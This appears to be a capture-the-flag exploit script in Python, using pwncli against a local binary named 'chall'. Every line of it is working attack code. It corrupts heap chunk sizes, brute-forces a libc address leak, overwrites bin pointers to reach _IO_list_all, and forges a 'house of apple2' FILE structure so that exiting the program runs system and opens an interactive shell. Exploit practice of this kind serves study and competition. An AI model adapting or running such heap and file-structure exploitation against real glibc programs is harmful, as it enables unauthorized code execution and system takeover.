from
pwncli
import
*
context(log_level
=
"debug"
, arch
=
"amd64"
, terminal
=
[
"tmux"
,
"sp"
,
"-h"
])
elf
=
ELF(
"./chall"
)
io
=
gift.io
=
elf.process()
libc
=
elf.libc
menu
=
lambda
choice: sla(b
"> "
,
str
(choice).encode())
def
alloc(size):
menu(
1
)
sla(b
"size: "
,
str
(size).encode())
ru(b
"ID:0x"
)
return
int
(ru(b
" "
)[:
-
1
],
16
)
def
edit(aid, content
=
b""):
menu(
2
)
sla(b
"id: "
,
str
(aid).encode())
if
b
"Not"
in
r(
4
):
return
False
ru(b
"("
)
l
=
int
(ru(b
")"
, drop
=
True
))
sla(b
": "
, content)
return
l
def
release(aid):
menu(
3
)
sla(b
"id: "
,
str
(aid).encode())
def
allo_rele(size):
release(alloc(size))
def
allo_edit_rele(size, content):
buf_id
=
alloc(size)
edit(buf_id, content)
release(buf_id)
allo_edit_rele(
0x100
, b
"a"
*
0xF8
+
p32(
0xC61
))
allo_rele(
0x400
)
allo_rele(
0x400
)
allo_rele(
0x40
)
for
i
in
range
(
1
,
9
):
allo_edit_rele(
0x400
, b
"a"
*
0x3F8
+
p32(
0xBF1
))
allo_rele(
0x400
)
allo_rele(
0x3E0
)
for
i
in
range
(
7
):
allo_rele(
0x3C0
)
alloc(
0x3C0
)
for
i
in
range
(
0x100
):
leak32low
=
edit(
0x7F00
+
i)
if
leak32low:
libc.address
=
leak32low
+
((
0x7F00
+
i) <<
32
)
-
0x203ED0
leak_id
=
0x7F00
+
i
break
success(f
"{libc.address = :x}"
)
binaddr
=
libc.address
+
0x203EF0
payload
=
flat(
binaddr
+
0x10
, binaddr
+
0x10
,
0
,
0x3d1
,
binaddr
-
0x10
, binaddr
-
0x10
)
edit(leak_id, payload)
alloc(
0x3C0
)
payload
=
flat(
binaddr
+
0x10
, binaddr
+
0x10
,
0
,
0x3d1
,
libc.sym._IO_list_all
-
0x30
)
edit(leak_id, payload)
heap_addr
=
libc.sym._IO_2_1_stderr_
payload
=
p64(libc.address
+
0x1CCA38
)
+
p64(
0
)
*
3
payload
+
=
p64(heap_addr)
+
p64(
0
)
*
3
payload
+
=
IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
heap_addr, libc.sym._IO_wfile_jumps, libc.sym.system
)
edit(leak_id, payload)
menu(
4
)
ia()